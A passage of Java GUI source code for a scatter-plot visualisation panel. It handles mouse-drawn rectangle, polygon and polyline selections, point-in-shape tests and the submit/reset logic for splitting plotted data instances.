private int m_XaxisStart=0;
private int m_YaxisStart=0;
private int m_XaxisEnd=0;
private int m_YaxisEnd=0;
/** True if the user is currently dragging a box. */
private boolean m_createShape;
/** contains all the shapes that have been drawn for these attribs */
private FastVector m_shapes;
/** contains the points of the shape currently being drawn. */
private FastVector m_shapePoints;
/** contains the position of the mouse (used for rubberbanding). */
private Dimension m_newMousePos;
/** Constructor */
public PlotPanel() {
this.setBackground(m_plot2D.getBackground());
this.setLayout(new BorderLayout());
this.add(m_plot2D, BorderLayout.CENTER);
m_plot2D.setPlotCompanion(this);
m_createShape = false;
m_shapes = null;////
m_shapePoints = null;
m_newMousePos = new Dimension();
this.addMouseListener(new MouseAdapter() {
///////
public void mousePressed(MouseEvent e) {
if ((e.getModifiers() & MouseEvent.BUTTON1_MASK) == MouseEvent.BUTTON1_MASK) {
//
if (m_sIndex == 0) {
//do nothing it will get dealt to in the clicked method
}
else if (m_sIndex == 1) {
m_createShape = true;
m_shapePoints = new FastVector(5);
m_shapePoints.addElement(new Double(m_sIndex));
m_shapePoints.addElement(new Double(e.getX()));
m_shapePoints.addElement(new Double(e.getY()));
m_shapePoints.addElement(new Double(e.getX()));
m_shapePoints.addElement(new Double(e.getY()));
// Graphics g = PlotPanel.this.getGraphics();
Graphics g = m_plot2D.getGraphics();
g.setColor(Color.black);
g.setXORMode(Color.white);
g.drawRect(((Double)m_shapePoints.elementAt(1)).intValue(),
((Double)m_shapePoints.elementAt(2)).intValue(),
((Double)m_shapePoints.elementAt(3)).intValue() -
((Double)m_shapePoints.elementAt(1)).intValue(),
((Double)m_shapePoints.elementAt(4)).intValue() -
((Double)m_shapePoints.elementAt(2)).intValue());
g.dispose();
}
//System.out.println("clicked");
}
//System.out.println("clicked");
}
//////
public void mouseClicked(MouseEvent e) {
if ((m_sIndex == 2 || m_sIndex == 3) &&
(m_createShape ||
(e.getModifiers() & MouseEvent.BUTTON1_MASK) == MouseEvent.BUTTON1_MASK)) {
if (m_createShape) {
//then it has been started already.
Graphics g = m_plot2D.getGraphics();
g.setColor(Color.black);
g.setXORMode(Color.white);
if ((e.getModifiers() & MouseEvent.BUTTON1_MASK) == MouseEvent.BUTTON1_MASK &&
!e.isAltDown()) {
m_shapePoints.addElement(new
Double(m_plot2D.convertToAttribX(e.getX())));
m_shapePoints.addElement(new
Double(m_plot2D.convertToAttribY(e.getY())));
m_newMousePos.width = e.getX();
m_newMousePos.height = e.getY();
g.drawLine((int)Math.ceil
(m_plot2D.convertToPanelX
(((Double)m_shapePoints.
elementAt(m_shapePoints.size() - 2)).
doubleValue())),
(int)Math.ceil
(m_plot2D.convertToPanelY
(((Double)m_shapePoints.
elementAt(m_shapePoints.size() - 1)).
doubleValue())),
m_newMousePos.width, m_newMousePos.height);
}
else if (m_sIndex == 3) {
//then extend the lines to infinity
//(100000 or so should be enough).
//the area is selected by where the user right clicks
//the mouse button
m_createShape = false;
if (m_shapePoints.size() >= 5) {
double cx = Math.ceil
(m_plot2D.convertToPanelX
(((Double)m_shapePoints.elementAt
(m_shapePoints.size() - 4)).doubleValue()));
double cx2 = Math.ceil
(m_plot2D.convertToPanelX
(((Double)m_shapePoints.elementAt
(m_shapePoints.size() - 2)).doubleValue())) -
cx;
cx2 *= 50000;
double cy = Math.ceil
(m_plot2D.
convertToPanelY(((Double)m_shapePoints.
elementAt(m_shapePoints.size() - 3)).
doubleValue()));
double cy2 = Math.ceil
(m_plot2D.convertToPanelY(((Double)m_shapePoints.
elementAt(m_shapePoints.size() - 1)).
doubleValue())) - cy;
cy2 *= 50000;
double cxa = Math.ceil(m_plot2D.convertToPanelX
(((Double)m_shapePoints.
elementAt(3)).
doubleValue()));
double cxa2 = Math.ceil(m_plot2D.convertToPanelX
(((Double)m_shapePoints.
elementAt(1)).
doubleValue())) - cxa;
cxa2 *= 50000;
double cya = Math.ceil
(m_plot2D.convertToPanelY
(((Double)m_shapePoints.elementAt(4)).
doubleValue()));
double cya2 = Math.ceil
(m_plot2D.convertToPanelY
(((Double)m_shapePoints.elementAt(2)).
doubleValue())) - cya;
cya2 *= 50000;
m_shapePoints.setElementAt
(new Double(m_plot2D.convertToAttribX(cxa2 + cxa)), 1);
m_shapePoints.setElementAt
(new Double(m_plot2D.convertToAttribY(cy2 + cy)),
m_shapePoints.size() - 1);
m_shapePoints.setElementAt
(new Double(m_plot2D.convertToAttribX(cx2 + cx)),
m_shapePoints.size() - 2);
m_shapePoints.setElementAt
(new Double(m_plot2D.convertToAttribY(cya2 + cya)), 2);
//determine how infinity line should be built
cy = Double.POSITIVE_INFINITY;
cy2 = Double.NEGATIVE_INFINITY;
if (((Double)m_shapePoints.elementAt(1)).
doubleValue() >
((Double)m_shapePoints.elementAt(3)).
doubleValue()) {
if (((Double)m_shapePoints.elementAt(2)).
doubleValue() ==
((Double)m_shapePoints.elementAt(4)).
doubleValue()) {
cy = ((Double)m_shapePoints.elementAt(2)).
doubleValue();
}
}
if (((Double)m_shapePoints.elementAt
(m_shapePoints.size() - 2)).doubleValue() >
((Double)m_shapePoints.elementAt
(m_shapePoints.size() - 4)).doubleValue()) {
if (((Double)m_shapePoints.elementAt
(m_shapePoints.size() - 3)).
doubleValue() ==
((Double)m_shapePoints.elementAt
(m_shapePoints.size() - 1)).doubleValue()) {
cy2 = ((Double)m_shapePoints.lastElement()).
doubleValue();
}
}
m_shapePoints.addElement(new Double(cy));
m_shapePoints.addElement(new Double(cy2));
if (!inPolyline(m_shapePoints, m_plot2D.convertToAttribX
(e.getX()),
m_plot2D.convertToAttribY(e.getY()))) {
Double tmp = (Double)m_shapePoints.
elementAt(m_shapePoints.size() - 2);
m_shapePoints.setElementAt
(m_shapePoints.lastElement(),
m_shapePoints.size() - 2);
m_shapePoints.setElementAt
(tmp, m_shapePoints.size() - 1);
}
if (m_shapes == null) {
m_shapes = new FastVector(4);
}
m_shapes.addElement(m_shapePoints);
m_submit.setText("Submit");
m_submit.setActionCommand("Submit");
m_submit.setEnabled(true);
}
m_shapePoints = null;
PlotPanel.this.repaint();
}
else {
//then close the shape
m_createShape = false;
if (m_shapePoints.size() >= 7) {
m_shapePoints.addElement(m_shapePoints.elementAt(1));
m_shapePoints.addElement(m_shapePoints.elementAt(2));
if (m_shapes == null) {
m_shapes = new FastVector(4);
}
m_shapes.addElement(m_shapePoints);
m_submit.setText("Submit");
m_submit.setActionCommand("Submit");
m_submit.setEnabled(true);
}
m_shapePoints = null;
PlotPanel.this.repaint();
}
g.dispose();
//repaint();
}
else if ((e.getModifiers() & MouseEvent.BUTTON1_MASK) == MouseEvent.BUTTON1_MASK) {
//then this is the first point
m_createShape = true;
m_shapePoints = new FastVector(17);
m_shapePoints.addElement(new Double(m_sIndex));
m_shapePoints.addElement(new
Double(m_plot2D.convertToAttribX(e.getX()))); //the new point
m_shapePoints.addElement(new
Double(m_plot2D.convertToAttribY(e.getY())));
m_newMousePos.width = e.getX(); //the temp mouse point
m_newMousePos.height = e.getY();
Graphics g = m_plot2D.getGraphics();
g.setColor(Color.black);
g.setXORMode(Color.white);
g.drawLine((int)Math.ceil
(m_plot2D.convertToPanelX(((Double)m_shapePoints.
elementAt(1)).doubleValue())),
(int)Math.ceil
(m_plot2D.convertToPanelY(((Double)m_shapePoints.
elementAt(2)).doubleValue())),
m_newMousePos.width, m_newMousePos.height);
g.dispose();
}
}
else {
if ((e.getModifiers() & InputEvent.BUTTON1_MASK) ==
InputEvent.BUTTON1_MASK) {
m_plot2D.searchPoints(e.getX(),e.getY(), false);
} else {
m_plot2D.searchPoints(e.getX(), e.getY(), true);
}
}
}
/////////
public void mouseReleased(MouseEvent e) {
if (m_createShape) {
if (((Double)m_shapePoints.elementAt(0)).intValue() == 1) {
m_createShape = false;
Graphics g = m_plot2D.getGraphics();
g.setColor(Color.black);
g.setXORMode(Color.white);
g.drawRect(((Double)m_shapePoints.elementAt(1)).
intValue(),
((Double)m_shapePoints.elementAt(2)).intValue(),
((Double)m_shapePoints.elementAt(3)).intValue() -
((Double)m_shapePoints.elementAt(1)).intValue(),
((Double)m_shapePoints.elementAt(4)).intValue() -
((Double)m_shapePoints.elementAt(2)).intValue());
g.dispose();
if (checkPoints(((Double)m_shapePoints.elementAt(1)).
doubleValue(),
((Double)m_shapePoints.elementAt(2)).
doubleValue()) &&
checkPoints(((Double)m_shapePoints.elementAt(3)).
doubleValue(),
((Double)m_shapePoints.elementAt(4)).
doubleValue())) {
//then the points all land on the screen
//now do special check for the rectangle
if (((Double)m_shapePoints.elementAt(1)).doubleValue() <
((Double)m_shapePoints.elementAt(3)).doubleValue()
&&
((Double)m_shapePoints.elementAt(2)).doubleValue() <
((Double)m_shapePoints.elementAt(4)).doubleValue()) {
//then the rectangle is valid
if (m_shapes == null) {
m_shapes = new FastVector(2);
}
m_shapePoints.setElementAt(new
Double(m_plot2D.convertToAttribX(((Double)m_shapePoints.
elementAt(1)).
doubleValue())), 1);
m_shapePoints.setElementAt(new
Double(m_plot2D.convertToAttribY(((Double)m_shapePoints.
elementAt(2)).
doubleValue())), 2);
m_shapePoints.setElementAt(new
Double(m_plot2D.convertToAttribX(((Double)m_shapePoints.
elementAt(3)).
doubleValue())), 3);
m_shapePoints.setElementAt(new
Double(m_plot2D.convertToAttribY(((Double)m_shapePoints.
elementAt(4)).
doubleValue())), 4);
m_shapes.addElement(m_shapePoints);
m_submit.setText("Submit");
m_submit.setActionCommand("Submit");
m_submit.setEnabled(true);
PlotPanel.this.repaint();
}
}
m_shapePoints = null;
}
}
}
});
this.addMouseMotionListener(new MouseMotionAdapter() {
public void mouseDragged(MouseEvent e) {
//check if the user is dragging a box
if (m_createShape) {
if (((Double)m_shapePoints.elementAt(0)).intValue() == 1) {
Graphics g = m_plot2D.getGraphics();
g.setColor(Color.black);
g.setXORMode(Color.white);
g.drawRect(((Double)m_shapePoints.elementAt(1)).intValue(),
((Double)m_shapePoints.elementAt(2)).intValue(),
((Double)m_shapePoints.elementAt(3)).intValue() -
((Double)m_shapePoints.elementAt(1)).intValue(),
((Double)m_shapePoints.elementAt(4)).intValue() -
((Double)m_shapePoints.elementAt(2)).intValue());
m_shapePoints.setElementAt(new Double(e.getX()), 3);
m_shapePoints.setElementAt(new Double(e.getY()), 4);
g.drawRect(((Double)m_shapePoints.elementAt(1)).intValue(),
((Double)m_shapePoints.elementAt(2)).intValue(),
((Double)m_shapePoints.elementAt(3)).intValue() -
((Double)m_shapePoints.elementAt(1)).intValue(),
((Double)m_shapePoints.elementAt(4)).intValue() -
((Double)m_shapePoints.elementAt(2)).intValue());
g.dispose();
}
}
}
public void mouseMoved(MouseEvent e) {
if (m_createShape) {
if (((Double)m_shapePoints.elementAt(0)).intValue() == 2 ||
((Double)m_shapePoints.elementAt(0)).intValue() == 3) {
Graphics g = m_plot2D.getGraphics();
g.setColor(Color.black);
g.setXORMode(Color.white);
g.drawLine((int)Math.ceil(m_plot2D.convertToPanelX
(((Double)m_shapePoints.elementAt
(m_shapePoints.size() - 2)).
doubleValue())),
(int)Math.ceil(m_plot2D.convertToPanelY
(((Double)m_shapePoints.elementAt
(m_shapePoints.size() - 1)).
doubleValue())),
m_newMousePos.width, m_newMousePos.height);
m_newMousePos.width = e.getX();
m_newMousePos.height = e.getY();
g.drawLine((int)Math.ceil(m_plot2D.convertToPanelX
(((Double)m_shapePoints.elementAt
(m_shapePoints.size() - 2)).
doubleValue())),
(int)Math.ceil(m_plot2D.convertToPanelY
(((Double)m_shapePoints.elementAt
(m_shapePoints.size() - 1)).
doubleValue())),
m_newMousePos.width, m_newMousePos.height);
g.dispose();
}
}
}
});
m_submit.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
if (e.getActionCommand().equals("Submit")) {
if (m_splitListener != null && m_shapes != null) {
//then send the split to the listener
Instances sub_set1 = new Instances(m_plot2D.getMasterPlot().
m_plotInstances, 500);
Instances sub_set2 = new Instances(m_plot2D.getMasterPlot().
m_plotInstances, 500);
if (m_plot2D.getMasterPlot().
m_plotInstances != null) {
for (int noa = 0 ; noa < m_plot2D.getMasterPlot().
m_plotInstances.numInstances(); noa++) {
if (!m_plot2D.getMasterPlot().
m_plotInstances.instance(noa).isMissing(m_xIndex) &&
!m_plot2D.getMasterPlot().
m_plotInstances.instance(noa).isMissing(m_yIndex)){
if (inSplit(m_plot2D.getMasterPlot().
m_plotInstances.instance(noa))) {
sub_set1.add(m_plot2D.getMasterPlot().
m_plotInstances.instance(noa));
}
else {
sub_set2.add(m_plot2D.getMasterPlot().
m_plotInstances.instance(noa));
}
}
}
FastVector tmp = m_shapes;
cancelShapes();
m_splitListener.userDataEvent(new
VisualizePanelEvent(tmp, sub_set1, sub_set2, m_xIndex,
m_yIndex));
}
}
else if (m_shapes != null &&
m_plot2D.getMasterPlot().m_plotInstances != null) {
Instances sub_set1 = new Instances(m_plot2D.getMasterPlot().
m_plotInstances, 500);
int count = 0;
for (int noa = 0 ; noa < m_plot2D.getMasterPlot().
m_plotInstances.numInstances(); noa++) {
if (inSplit(m_plot2D.getMasterPlot().
m_plotInstances.instance(noa))) {
sub_set1.add(m_plot2D.getMasterPlot().
m_plotInstances.instance(noa));
count++;
}
}
int [] nSizes = null;
int [] nTypes = null;
int x = m_xIndex;
int y = m_yIndex;
if (m_originalPlot == null) {
//this sets these instances as the instances
//to go back to.
m_originalPlot = m_plot2D.getMasterPlot();
}
if (count > 0) {
nTypes = new int[count];
nSizes = new int[count];
count = 0;
for (int noa = 0; noa < m_plot2D.getMasterPlot().
m_plotInstances.numInstances();
noa++) {
if (inSplit(m_plot2D.getMasterPlot().
m_plotInstances.instance(noa))) {
nTypes[count] = m_plot2D.getMasterPlot().
m_shapeType[noa];
nSizes[count] = m_plot2D.getMasterPlot().
m_shapeSize[noa];
count++;
}
}
}
cancelShapes();
PlotData2D newPlot = new PlotData2D(sub_set1);
try {
newPlot.setShapeSize(nSizes);
newPlot.setShapeType(nTypes);
m_plot2D.removeAllPlots();
VisualizePanel.this.addPlot(newPlot);
} catch (Exception ex) {
System.err.println(ex);
ex.printStackTrace();
}
try {
VisualizePanel.this.setXIndex(x);
VisualizePanel.this.setYIndex(y);
} catch(Exception er) {
System.out.println("Error : " + er);
// System.out.println("Part of user input so had to" +
// " catch here");
}
}
}
else if (e.getActionCommand().equals("Reset")) {
int x = m_xIndex;
int y = m_yIndex;
m_plot2D.removeAllPlots();
try {
VisualizePanel.this.addPlot(m_originalPlot);
} catch (Exception ex) {
System.err.println(ex);
ex.printStackTrace();
}
try {
VisualizePanel.this.setXIndex(x);
VisualizePanel.this.setYIndex(y);
} catch(Exception er) {
System.out.println("Error : " + er);
}
}
}
});
m_cancel.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
cancelShapes();
PlotPanel.this.repaint();
}
});
////////////
}
/**
* Removes all the plots.
*/
public void removeAllPlots() {
m_plot2D.removeAllPlots();
m_legendPanel.setPlotList(m_plot2D.getPlots());
}
/**
* @return The FastVector containing all the shapes.
*/
public FastVector getShapes() {
return m_shapes;
}
/**
* Sets the list of shapes to empty and also cancels
* the current shape being drawn (if applicable).
*/
public void cancelShapes() {
if (m_splitListener == null) {
m_submit.setText("Reset");
m_submit.setActionCommand("Reset");
if (m_originalPlot == null ||
m_originalPlot.m_plotInstances == m_plotInstances) {
m_submit.setEnabled(false);
}
else {
m_submit.setEnabled(true);
}
}
else {
m_submit.setEnabled(false);
}
m_createShape = false;
m_shapePoints = null;
m_shapes = null;
this.repaint();
}
/**
* This can be used to set the shapes that should appear.
* @param v The list of shapes.
*/
public void setShapes(FastVector v) {
//note that this method should be fine for doubles,
//but anything else that uses something other than doubles
//(or uneditable objects) could have unsafe copies.
if (v != null) {
FastVector temp;
m_shapes = new FastVector(v.size());
for (int noa = 0; noa < v.size(); noa++) {
temp = new FastVector(((FastVector)v.elementAt(noa)).size());
m_shapes.addElement(temp);
for (int nob = 0; nob < ((FastVector)v.elementAt(noa)).size()
; nob++) {
temp.addElement(((FastVector)v.elementAt(noa)).elementAt(nob));
}
}
}
else {
m_shapes = null;
}
this.repaint();
}
/**
* This will check the values of the screen points passed and make sure
* that they land on the screen
* @param x1 The x coord.
* @param y1 The y coord.
* @return true if the point would land on the screen
*/
private boolean checkPoints(double x1, double y1) {
if (x1 < 0 || x1 > this.getSize().width || y1 < 0
|| y1 > this.getSize().height) {
return false;
}
return true;
}
/**
* This will check if an instance is inside or outside of the current
* shapes.
* @param i The instance to check.
* @return True if 'i' falls inside the shapes, false otherwise.
*/
public boolean inSplit(Instance i) {
//this will check if the instance lies inside the shapes or not
if (m_shapes != null) {
FastVector stmp;
double x1, y1, x2, y2;
for (int noa = 0; noa < m_shapes.size(); noa++) {
stmp = (FastVector)m_shapes.elementAt(noa);
if (((Double)stmp.elementAt(0)).intValue() == 1) {
//then rectangle
x1 = ((Double)stmp.elementAt(1)).doubleValue();
y1 = ((Double)stmp.elementAt(2)).doubleValue();
x2 = ((Double)stmp.elementAt(3)).doubleValue();
y2 = ((Double)stmp.elementAt(4)).doubleValue();
if (i.value(m_xIndex) >= x1 && i.value(m_xIndex) <= x2 &&
i.value(m_yIndex) <= y1 && i.value(m_yIndex) >= y2) {
//then is inside split so return true;
return true;
}
}
else if (((Double)stmp.elementAt(0)).intValue() == 2) {
//then polygon
if (inPoly(stmp, i.value(m_xIndex), i.value(m_yIndex))) {
return true;
}
}
else if (((Double)stmp.elementAt(0)).intValue() == 3) {
//then polyline
if (inPolyline(stmp, i.value(m_xIndex), i.value(m_yIndex))) {
return true;
}
}
}
}
return false;
}
/**
* Checks to see if the coordinate passed is inside the ployline
* passed, Note that this is done using attribute values and not there
* respective screen values.
* @param ob The polyline.
* @param x The x coord.
* @param y The y coord.
* @return True if it falls inside the polyline, false otherwise.
*/
private boolean inPolyline(FastVector ob, double x, double y) {
//this works similar to the inPoly below except that
//the first and last lines are treated as extending infinite in one
//direction and
//then infinitly in the x dirction their is a line that will
//normaly be infinite but
//can be finite in one or both directions
int countx = 0;
double vecx, vecy;
double change;
double x1, y1, x2, y2;
for (int noa = 1; noa < ob.size() - 4; noa+= 2) {
y1 = ((Double)ob.elementAt(noa+1)).doubleValue();
y2 = ((Double)ob.elementAt(noa+3)).doubleValue();
x1 = ((Double)ob.elementAt(noa)).doubleValue();
x2 = ((Double)ob.elementAt(noa+2)).doubleValue();
//System.err.println(y1 + " " + y2 + " " + x1 + " " + x2);
vecy = y2 - y1;
vecx = x2 - x1;
if (noa == 1 && noa == ob.size() - 6) {
//then do special test first and last edge
if (vecy != 0) {
change = (y - y1) / vecy;
if (vecx * change + x1 >= x) {
//then intersection
countx++;
}
}
}
else if (noa == 1) {
if ((y < y2 && vecy > 0) || (y > y2 && vecy < 0)) {
//now just determine intersection or not
change = (y - y1) / vecy;
if (vecx * change + x1 >= x) {
//then intersection on horiz
countx++;
}
}
}
else if (noa == ob.size() - 6) {
//then do special test on last edge
if ((y <= y1 && vecy < 0) || (y >= y1 && vecy > 0)) {
change = (y - y1) / vecy;
if (vecx * change + x1 >= x) {
countx++;
}
}
}
else if ((y1 <= y && y < y2) || (y2 < y && y <= y1)) {
//then continue tests.
if (vecy == 0) {
//then lines are parallel stop tests in
//ofcourse it should never make it this far
}
else {
change = (y - y1) / vecy;
if (vecx * change + x1 >= x) {
//then intersects on horiz
countx++;
}
}
}
}
//now check for intersection with the infinity line
y1 = ((Double)ob.elementAt(ob.size() - 2)).doubleValue();
y2 = ((Double)ob.elementAt(ob.size() - 1)).doubleValue();
if (y1 > y2) {
//then normal line
if (y1 >= y && y > y2) {
countx++;
}
}
else {
//then the line segment is inverted
if (y1 >= y || y > y2) {
countx++;
}
}
if ((countx % 2) == 1) {
return true;
}
else {
return false;
}
}
/**
* This checks to see if The coordinate passed is inside
* the polygon that was passed.
* @param ob The polygon.
* @param x The x coord.
* @param y The y coord.
* @return True if the coordinate is in the polygon, false otherwise.
*/
private boolean inPoly(FastVector ob, double x, double y) {
//brief on how this works
//it draws a line horizontally from the point to the right (infinitly)
//it then sees how many lines of the polygon intersect this,
//if it is even then the point is
// outside the polygon if it's odd then it's inside the polygon
int count = 0;
double vecx, vecy;
double change;
double x1, y1, x2, y2;
for (int noa = 1; noa < ob.size() - 2; noa += 2) {
y1 = ((Double)ob.elementAt(noa+1)).doubleValue();
y2 = ((Double)ob.elementAt(noa+3)).doubleValue();
if ((y1 <= y && y < y2) || (y2 < y && y <= y1)) {
//then continue tests.
vecy = y2 - y1;
if (vecy == 0) {
//then lines are parallel stop tests for this line
}
else {
x1 = ((Double)ob.elementAt(noa)).doubleValue();
x2 = ((Double)ob.elementAt(noa+2)).doubleValue();
vecx = x2 - x1;
change = (y - y1) / vecy;
if (vecx * change + x1 >= x) {
//then add to count as an intersected line
count++;
}
}
}
}
if ((count % 2) == 1) {
//then lies inside polygon
//System.out.println("in");
return true;
}
else {
//System.out.println("out");
return false;
}
//System.out.println("WHAT?!?!?!?!!?!??!?!");
//return false;
}
/**
* Set level of jitter and repaint the plot using the new jitter value
* @param j the level of jitter
*/
public void setJitter(int j) {
m_plot2D.setJitter(j);
}
/**
* Set the index of the attribute to go on the x axis
* @param x the index of the attribute to use on the x axis
*/
public void setXindex(int x) {
// this just ensures that the shapes get disposed of
//if the attribs change
if (x != m_xIndex) {
cancelShapes();
}
m_xIndex = x;
m_plot2D.setXindex(x);
if (m_showAttBars) {
m_attrib.setX(x);
}
// this.repaint();
}
/**
* Set the index of the attribute to go on the y axis
* @param y the index of the attribute to use on the y axis
*/
public void setYindex(int y) {
// this just ensures that the shapes get disposed of
//if the attribs change
if (y != m_yIndex) {
cancelShapes();
}
m_yIndex = y;
m_plot2D.setYindex(y);
if (m_showAttBars) {
m_attrib.setY(y);
}
// this.repaint();
}
/**
* Set the index of the attribute to use for colouring
* @param c the index of the attribute to use for colouring
*/
public void setCindex(int c) {
m_cIndex = c;
m_plot2D.setCindex(c);
if (m_showAttBars) {
m_attrib.setCindex(c, m_plot2D.getMaxC(), m_plot2D.getMinC());
}
m_classPanel.setCindex(c);
this.repaint();
}
/**
* Set the index of the attribute to use for the shape.
* @param s the index of the attribute to use for the shape
*/
public void setSindex(int s) {
if (s != m_sIndex) {
m_shapePoints = null;
m_createShape = false;
}
m_sIndex = s;
this.repaint();
}
/**
* Clears all existing plots and sets a new master plot
* @param newPlot the new master plot
* @exception Exception if plot could not be added
*/
public void setMasterPlot(PlotData2D newPlot) throws Exception {
m_plot2D.removeAllPlots();
this.addPlot(newPlot);
}
/**
* Adds a plot. If there are no plots so far this plot becomes
* the master plot and, if it has a custom colour defined then
* the class panel is removed.
* @param newPlot the plot to add.
* @exception Exception if plot could not be added
*/
public void addPlot(PlotData2D newPlot) throws Exception {
if (m_plot2D.getPlots().size() == 0) {
m_plot2D.addPlot(newPlot);
if (m_plotSurround.getComponentCount() > 1 &&
m_plotSurround.getComponent(1) == m_attrib &&
m_showAttBars) {
try {
m_attrib.setInstances(newPlot.m_plotInstances);
m_attrib.setCindex(0);m_attrib.setX(0); m_attrib.setY(0);
} catch (Exception ex) {
// more attributes than the panel can handle?
// Due to hard coded constraints in GridBagLayout
m_plotSurround.remove(m_attrib);
System.err.println("Warning : data contains more attributes "
+"than can be displayed as attribute bars.");
if (m_Log != null) {
m_Log.logMessage("Warning : data contains more attributes "
+"than can be displayed as attribute bars.");
}
}
} else if (m_showAttBars) {
try {
m_attrib.setInstances(newPlot.m_plotInstances);
m_attrib.setCindex(0);m_attrib.setX(0); m_attrib.setY(0);
GridBagConstraints constraints = new GridBagConstraints();
constraints.fill = GridBagConstraints.BOTH;
constraints.insets = new Insets(0, 0, 0, 0);
constraints.gridx=4;constraints.gridy=0;constraints.weightx=1;
constraints.gridwidth=1;constraints.gridheight=1;
constraints.weighty=5;
m_plotSurround.add(m_attrib, constraints);
} catch (Exception ex) {
System.err.println("Warning : data contains more attributes "
+"than can be displayed as attribute bars.");
if (m_Log != null) {
m_Log.logMessage("Warning : data contains more attributes "
+"than can be displayed as attribute bars.");
}
}
}
m_classPanel.setInstances(newPlot.m_plotInstances);
plotReset(newPlot.m_plotInstances, newPlot.getCindex());
if (newPlot.m_useCustomColour && m_showClassPanel) {
VisualizePanel.this.remove(m_classSurround);
switchToLegend();
m_legendPanel.setPlotList(m_plot2D.getPlots());
m_ColourCombo.setEnabled(false);
}
} else {
if (!newPlot.m_useCustomColour && m_showClassPanel) {
VisualizePanel.this.add(m_classSurround, BorderLayout.SOUTH);
m_ColourCombo.setEnabled(true);
}
if (m_plot2D.getPlots().size() == 1) {
switchToLegend();
}
m_plot2D.addPlot(newPlot);
m_legendPanel.setPlotList(m_plot2D.getPlots());
}
}
/**
* Remove the attibute panel and replace it with the legend panel
*/
protected void switchToLegend() {
if (m_plotSurround.getComponentCount() > 1 &&
m_plotSurround.getComponent(1) == m_attrib) {
m_plotSurround.remove(m_attrib);
}
if (m_plotSurround.getComponentCount() > 1 &&
m_plotSurround.getComponent(1) == m_legendPanel) {
return;
}
GridBagConstraints constraints = new GridBagConstraints();
constraints.fill = GridBagConstraints.BOTH;
constraints.insets = new Insets(0, 0, 0, 0);
constraints.gridx=4;constraints.gridy=0;constraints.weightx=1;
constraints.gridwidth=1;constraints.gridheight=1;
constraints.weighty=5;
m_plotSurround.add(m_legendPanel, constraints);
setSindex(0);
m_ShapeCombo.setEnabled(false);
}
protected void switchToBars() {
if (m_plotSurround.getComponentCount() > 1 &&
m_plotSurround.getComponent(1) == m_legendPanel) {
m_plotSurround.remove(m_legendPanel);
}
if (m_plotSurround.getComponentCount() > 1 &&
m_plotSurround.getComponent(1) == m_attrib) {
return;
}
if (m_showAttBars) {
try {
m_attrib.setInstances(m_plot2D.getMasterPlot().m_plotInstances);
m_attrib.setCindex(0);m_attrib.setX(0); m_attrib.setY(0);
GridBagConstraints constraints = new GridBagConstraints();
constraints.fill = GridBagConstraints.BOTH;
constraints.insets = new Insets(0, 0, 0, 0);
constraints.gridx=4;constraints.gridy=0;constraints.weightx=1;
constraints.gridwidth=1;constraints.gridheight=1;
constraints.weighty=5;
m_plotSurround.add(m_attrib, constraints);
} catch (Exception ex) {
System.err.println("Warning : data contains more attributes "
+"than can be displayed as attribute bars.");
if (m_Log != null) {
m_Log.logMessage("Warning : data contains more attributes "
+"than can be displayed as attribute bars.");
}
}
}
}
/**
* Reset the visualize panel's buttons and the plot panels instances
*
* @param inst the data
* @param cIndex the color index
*/
private void plotReset(Instances inst, int cIndex) {
if (m_splitListener == null) {
m_submit.setText("Reset");
m_submit.setActionCommand("Reset");
//if (m_origInstances == null || m_origInstances == inst) {
if (m_originalPlot == null || m_originalPlot.m_plotInstances == inst) {
m_submit.setEnabled(false);
}
else {
m_submit.setEnabled(true);
}
}
else {
m_submit.setEnabled(false);
}
m_plotInstances = inst;
if (m_splitListener != null) {
m_plotInstances.randomize(new Random());
}
m_xIndex=0;
m_yIndex=0;
m_cIndex=cIndex;
cancelShapes();
}
/**
* Set a list of colours to use for plotting points
* @param cols a list of java.awt.Colors
*/
public void setColours(FastVector cols) {
m_plot2D.setColours(cols);
m_colorList = cols;
}
/**
* This will draw the shapes created onto the panel.
* For best visual, this should be the first thing to be drawn
* (and it currently is).
* @param gx The graphics context.
*/
private void drawShapes(Graphics gx) {
//FastVector tmp = m_plot.getShapes();
if (m_shapes != null) {
FastVector stmp;
int x1, y1, x2, y2;
for (int noa = 0; noa < m_shapes.size(); noa++) {
stmp = (FastVector)m_shapes.elementAt(noa);
if (((Double)stmp.elementAt(0)).intValue() == 1) {
//then rectangle
x1 = (int)m_plot2D.convertToPanelX(((Double)stmp.elementAt(1)).
doubleValue());
y1 = (int)m_plot2D.convertToPanelY(((Double)stmp.elementAt(2)).
doubleValue());
x2 = (int)m_plot2D.convertToPanelX(((Double)stmp.elementAt(3)).
doubleValue());
y2 = (int)m_plot2D.convertToPanelY(((Double)stmp.elementAt(4)).
doubleValue());
gx.setColor(Color.gray);
gx.fillRect(x1, y1, x2 - x1, y2 - y1);
gx.setColor(Color.black);
gx.drawRect(x1, y1, x2 - x1, y2 - y1);
}
else if (((Double)stmp.elementAt(0)).intValue() == 2) {
//then polygon
int[] ar1, ar2;
ar1 = getXCoords(stmp);
ar2 = getYCoords(stmp);
gx.setColor(Color.gray);
gx.fillPolygon(ar1, ar2, (stmp.size() - 1) / 2);
gx.setColor(Color.black);
gx.drawPolyline(ar1, ar2, (stmp.size() - 1) / 2);
}
else if (((Double)stmp.elementAt(0)).intValue() == 3) {
//then polyline
int[] ar1, ar2;
FastVector tmp = makePolygon(stmp);
ar1 = getXCoords(tmp);
ar2 = getYCoords(tmp);
gx.setColor(Color.gray);
gx.fillPolygon(ar1, ar2, (tmp.size() - 1) / 2);
gx.setColor(Color.black);
gx.drawPolyline(ar1, ar2, (tmp.size() - 1) / 2);
}
}
}
if (m_shapePoints != null) {
//then the current image needs to be refreshed
if (((Double)m_shapePoints.elementAt(0)).intValue() == 2 ||
((Double)m_shapePoints.elementAt(0)).intValue() == 3) {
gx.setColor(Color.black);
gx.setXORMode(Color.white);
int[] ar1, ar2;
ar1 = getXCoords(m_shapePoints);
ar2 = getYCoords(m_shapePoints);
gx.drawPolyline(ar1, ar2, (m_shapePoints.size() - 1) / 2);
m_newMousePos.width = (int)Math.ceil
(m_plot2D.convertToPanelX(((Double)m_shapePoints.elementAt
(m_shapePoints.size() - 2)).doubleValue()));
m_newMousePos.height = (int)Math.ceil
(m_plot2D.convertToPanelY(((Double)m_shapePoints.elementAt
(m_shapePoints.size() - 1)).doubleValue()));
gx.drawLine((int)Math.ceil
(m_plot2D.convertToPanelX(((Double)m_shapePoints.elementAt
(m_shapePoints.size() - 2)).
doubleValue())),
(int)Math.ceil(m_plot2D.convertToPanelY
